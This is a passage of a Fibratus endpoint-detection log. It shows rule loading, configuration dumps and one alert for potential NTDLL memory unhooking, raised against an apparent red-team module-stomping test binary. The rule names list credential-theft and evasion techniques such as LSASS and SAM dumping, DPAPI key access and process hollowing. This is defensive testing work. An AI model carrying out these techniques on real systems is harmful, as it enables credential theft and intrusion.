C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T18:14:10+01:00 level=info msg=bootstrapping with pid 18172. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T18:14:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-thread=>true enable-dns=>false enable-registry=>true enable-vamap=>true buffer-size=>512 stack-enrichment=>true enable-fileio=>true max-buffers=>36 enable-image=>true flush-interval=>1s enable-audit-api=>true enable-mem=>false enable-handle=>false enable-threadpool=>false min-buffers=>16 enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text level=>info max-size=>100 max-backups=>15] + output ......................... [ elasticsearch=>[ timeout=>5s healthcheck-timeout=>5s healthcheck=>true flush-period=>1s index-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false sniff=>false healthcheck-interval=>10s template-name=>fibratus bulk-workers=>1] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false method=>POST enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json endpoints=>[] timeout=>5s] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false timeout=>5s enabled=>false exchange=>fibratus passive=>false durable=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] excluded-files=>[] skip-mmaps=>false skip-allocs=>false skip-files=>false scan-timeout=>10s enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-11T18:14:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:14:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:21:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T18:21:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:21:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:21:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:21:26+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T18:21:26+01:00 level=info msg=bootstrapping with pid 5896. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T18:21:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-net=>true min-buffers=>16 enable-threadpool=>false enable-thread=>true flush-interval=>1s max-buffers=>36 enable-registry=>true enable-vamap=>true enable-dns=>false enable-fileio=>true enable-mem=>false enable-audit-api=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info max-backups=>15 max-age=>0 formatter=>text max-size=>100] + output ......................... [ http=>[ enable-gzip=>false endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false method=>POST enabled=>false serializer=>json] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ gzip-compression=>false sniff=>false timeout=>5s flush-period=>1s template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s bulk-workers=>1] amqp=>[ vhost=>/ exchange=>fibratus durable=>false url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic passive=>false enabled=>false delivery-mode=>transient timeout=>5s]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false enabled=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] skip-files=>false excluded-files=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T18:21:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:21:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:22:02+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 4328857 + Pid: 11460 + Tid: 18512 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 18:21:36.1099654 +0100 CET + Params: base_address➜ 241685c0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11460, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 18176528309741944832, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11460 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 4245282 + Pid: 11460 + Tid: 18512 + Type: SetThreadContext + CPU: 0 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 18:21:36.8261505 +0100 CET + Params: status➜ The handle is invalid + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Potential NTDLL memory unhooking, rule.seq.link: 18176528309741944832 + + Pid: 11460 + Ppid: 17996 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T18:22:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T18:22:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:22:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T20:19:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from 